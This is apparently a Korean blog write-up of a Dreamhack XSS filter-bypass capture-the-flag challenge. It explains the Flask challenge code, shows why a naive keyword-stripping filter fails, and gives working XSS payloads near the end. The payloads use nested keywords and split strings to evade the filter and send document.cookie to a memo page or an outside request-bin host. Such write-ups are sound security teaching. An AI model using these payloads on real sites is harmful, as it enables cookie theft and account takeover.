'll Hacker
XSS Filtering Bypass write up 본문
1) 코드 분석 (출처:챗쥐피티)
엔드포인트1 : /vuln
@app.route("/vuln")
# Flask 애플리케이션에서 /vuln 엔드포인트에 대한 라우팅을 정의
# 사용자의 입력을 ㅂ다는 목적으로 보임
def vuln(): #핸들러 함수인 vuln을 정의
param = request.args.get("param", "")
# Flask에서 제공하는 request 객체를 사용하여 쿼리 매개변수 중 "param"값을 가져오고 있음
# param 이라는 매개변수가 없으면 빈 문자열을 기본값으로 사용
param = xss_filter(param)
#가져온 "param"값을 'xss_filter' 함수에 전달하여 XSS(Cross Site Scripting) 공격을 방지하기 위한 필터링 수행
return param
# 필터링된 param 값을 반환함.
# 이 값을 클라이언트에게 응답으로 전송될것.
함수1 : xss_filter
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
# _filter 변수에는 XSS공격에 사용될 수 있는 특정 문자열 패턴들이 리스트로 정의되어 있음
# 특정 문자열 패턴 : script, on, javascript
for f in _filter: # _filter 리스트의 각 문자열을 순회하는 for 루프가 시작됨
if f in text.lower():
# 현재 순회 중인 문자열 f가 주어진 텍스트 text에 소문자로 포함되어 있는지를 검사
# 대소문자를 무시하기 위해 text.lower()를 사용하고 있음
text = text.replace(f, "")
# 만약 현재 순회 중인 문자열 f기 텍스트에 포함되어 있다면 해당 문자열을 빈 문자열로 대체
# 이는 해당 문자열을 제거함
return text
# 최종적으로 필터링이 완료된 텍스트를 반환
엔드포인트2 : /flag
@app.route("/flag", methods=["GET", "POST"])
# /flag 엔드포인트에 대한 라우팅을 정의
# 허용된 메서드는 GET, POST
def flag():
if request.method == "GET":
# 만약 요청이 GET 메서드일 경우
return render_template("flag.html")
#flag.html 템플릿을 렌더링
elif request.method == "POST":
# 만약 요청이 POST 메서드인 경우
param = request.form.get("param")
# POST요청으로 전송된 폼 데이터 중 param 값을 가져옴
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
# check_xss 함수를 사용하여 XSS 공격체크
# param 값과 flag값을 비교하여 만약, XSS 공격으로 간주되면 오류 메시지와 함께 스크립트를 실행하고 이전 페이지로 이동
return '<script>alert("wrong??");history.go(-1);</script>'
# XSS 공격으로 간주되면 오류 메시지와 함께 javascript를 실행하고 이전 페이지로 이동
return '<script>alert("good");history.go(-1);</script>'
# XSS 공격이 감지되지 않으면 good 메시지와 함께 javascript를 실행하고 이전 페이지로 이동
⏩이 코드는 주어진 텍스트에서 특정 문자열 패턴을 필터링하여 XSS 공격을 방지하기 위한 간단한 함수인 `xss_filter`를 정의하고 있습니다. 주어진 텍스트에서 "script", "on", "javascript:"이라는 문자열을 대소문자 구분 없이 검색하고, 해당 문자열이 발견되면 제거하는 방식으로 동작합니다. 여기서 `_filter` 리스트에 포함된 문자열들은 XSS 공격 시 자주 사용되는 키워드들입니다. 그러나 이러한 단순한 문자열 기반의 필터링은 완벽하지 않을 수 있습니다. 예를 들어, 공격자는 다양한 기술적 트릭을 사용하여 이러한 필터를 우회할 수 있습니다.
함수2 : check_xss
def check_xss(param, cookie={"name": "name", "value": "value"}):
# check_xss 함수 정의
# param 과 cookie라는 두개의 매개변수를 받음
# cookie의 기본값으로 {"name":"name","value":"value"}를 사용하고 있음
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
# 주어진 param 값을 사용하여 URL을 생성
# urlib.parse.quote(param)를 통해 param 값을 URL 인코딩하여 안전한 형태로 만듦
# URL은 "http://127.0.0.1:8000/vuln"에 param을 쿼리문자열로 추가한 것.
return read_url(url, cookie)
# 생성된 URL과 cookie를 이용하여 read_url 함수를 호출하고, 해당 함수의 반환값을 check_xss함수의 반환값으로 사용함.
함수3 : read_url
def read_url(url, cookie={"name": "name", "value": "value"}):
# read_url 함수를 정의
# 이 함수는 url, cookie 두개의 매개변수를 받음
# cookie의 기본값으로 {"name": "name", "value": "value"}를 사용하고 있음
cookie.update({"domain": "127.0.0.1"})
# cookie 딕셔너리에 "domain" 키를 추가하고 값을 "127.0.0.1"로 설정
try: # 예외처리
service = Service(executable_path="/chromedriver")
# service의 service를 사용하여 크롬 드라이버를 설정
# executable_path는 크롬 드라이버의 실행 경로 지정
options = webdriver.ChromeOptions()
# 크롬 브라우저 옵션을 설정하는 객체 options를 생성
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
# 반복문을 사용하여 여러 크롬 브라우저 옵션을 추가함.
# 이 옵션들은 브라우저를 헤드리스 모드로 설정하고,
# 윈도우 크기를 1920 x 1080 으로 지정하며, GPU 사용을 비활성화하고,
# no-sandbox 및 disable-dev-shm-usage 옵션을 추가
driver = webdriver.Chrome(service=service, options=options)
# 설정된 크롬 드라이버 서비스와 옵션을 사용하여 웹 드라이버 driver를 생성
driver.implicitly_wait(3)
# 웹 드라이버에 대한 암묵적인 대기를 설정.
# 즉, 요소를 찾을 때 최대 3초간 대기함
driver.set_page_load_timeout(3)
# 페이지 로딩 시간을 3초로 설정함
driver.get("http://127.0.0.1:8000/")
# 브라우저를 열고 "http://127.0.0.1:8000/" 주소로 이동함
driver.add_cookie(cookie)
# 주어진 쿠키를 브라우저에 추가함
driver.get(url)
# 주어진 URL로 이동함
except Exception as e: # 예외가 발생한 경우 처리함
driver.quit() # 브라우저 세션을 종료
# return str(e)
return False # 예외가 발생한 경우 False를 반환
driver.quit() # 정상적으로 실행된 경우 브라우저 세션 종료
return True # 정상적으로 페이지가 로딩된 경우 True를 반환
⏩이 코드는 Selenium을 사용하여 웹 페이지를 여는 과정을 수행하고, 예외 처리를 통해 예외 발생 시 False를 반환함. 그러나 이 함수는 사용 중에 발생할 수 있는 다양한 예외 상황에 대한 구체적인 처리를 제공하고 있지 않음. 예를 들어 Selenium의 WebDriverException이 발생할 경우에 대한 예외처리가 추가로 필요할 것,
엔드포인트3 : /memo
@app.route("/memo")
# /memo 엔드포인트에 대한 라우팅을 정의
def memo(): # /memo 엔드포인트에 대한 핸들러 함수인 memo를 정의
global memo_text
text = request.args.get("memo", "")
# request.args.get 메서드를 사용하여 memo라는 쿼리 매개변수의 값을 가져오고, 가져올 수 없는 경우 빈 문자열을 기본값으로 함.
memo_text += text + "\n"
# 가져온 memo 값을 memo_text에 누적함.
# 이전에 저장된 내용에 새로운 메모를 줄 바꿈과 함께 추가
return render_template("memo.html", memo=memo_text)
# memo.html 템플릿을 렌더링하면서 템플릿에 memo 변수로 memo_text값을 전달함. 이 값은 클라이언트에게 반환됨
2) 취약점 분석
memo는 render_templage 함수를 사용해 memo.html을 출력함
render_template함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS취약점이 발생하지 않음.
XSS_filter 함수를 통해 script, on, javascript 총 세개의 키워드를 필터링하는 것을 확인할 수 있음
script 태그나 on 이벤트 핸들러를 이용한 XSS공격이 불가능함.
키워드를 필터링하는 방법을 살펴보면 단순히 필터링해야 하는 키워드를 " "로 변경해 아예 제거해버리는 것을 확인가능
scronipt라는 키워드를 전달했다고 한다면, xss_filter 함수는 반복문을 돌며 XSS 키워드를 검사하는데 scronipt 내에 on이라는 키워드가 존재하기 때문에 반복문 내에서 키워드가 탐지되고 제거됨. 즉, on이 사라진 형태인 script만이 남게 됨. 이 때 반복문 내에서 script 키워드는 이미 이전 반복문에서 검사하고 넘어간 후이기 때문에 필터링에서 탐지되지 않음
3) 익스플로잇(공격)
3-1) XSS 취약점을 통해 이용자의 쿠키를 탈취해야함
쿠키탈취를 위해 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용할 수 있음.
이때 location 내에 on이라는 키워드가 포함되어 있기 때문에 이를 바로 익스플로잇 내에 포함시키면 필터링에 탐지됨.
location 속성은 document 속성으로부터 접근할 수 있기 때문에 document['locatio'+'n'] 과 같은 방식으로 우회가능
- location.href - 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값.
- document.cookie - 해당 페이지에서 사용하는 쿠키를 읽고 쓰는 속성값.
3-1-1) memo 페이지 사용
flag 엔드포인트에서
<scronipt>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scronipt>
memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인가능
3-1-2) 웹 서버 사용
외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인가능. <- 드립핵에서 제공하는 서비스 사용가능(tools.dreamhack.games)
dreamhack-tools
tools.dreamhack.games
해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보 확인가능
Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되면, 해당 URL에 접속한 기록을 저장함.
<scronipt>document['locatio'+'n'].href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</scronipt>
'Hacking > WebHacking' 카테고리의 다른 글
dreamhack : web-misconf-1 writeup (0) | 2024.04.02 |
---|---|
GET 방식과 POST 방식 데이터 요청 (0) | 2024.03.15 |
XSS Filtering Bypass - 2 정리 (0) | 2024.02.08 |
XSS Filtering Bypass - 1 정리 (0) | 2024.02.07 |
XSS(Cross-Site-Scripting) 정리 (0) | 2024.02.06 |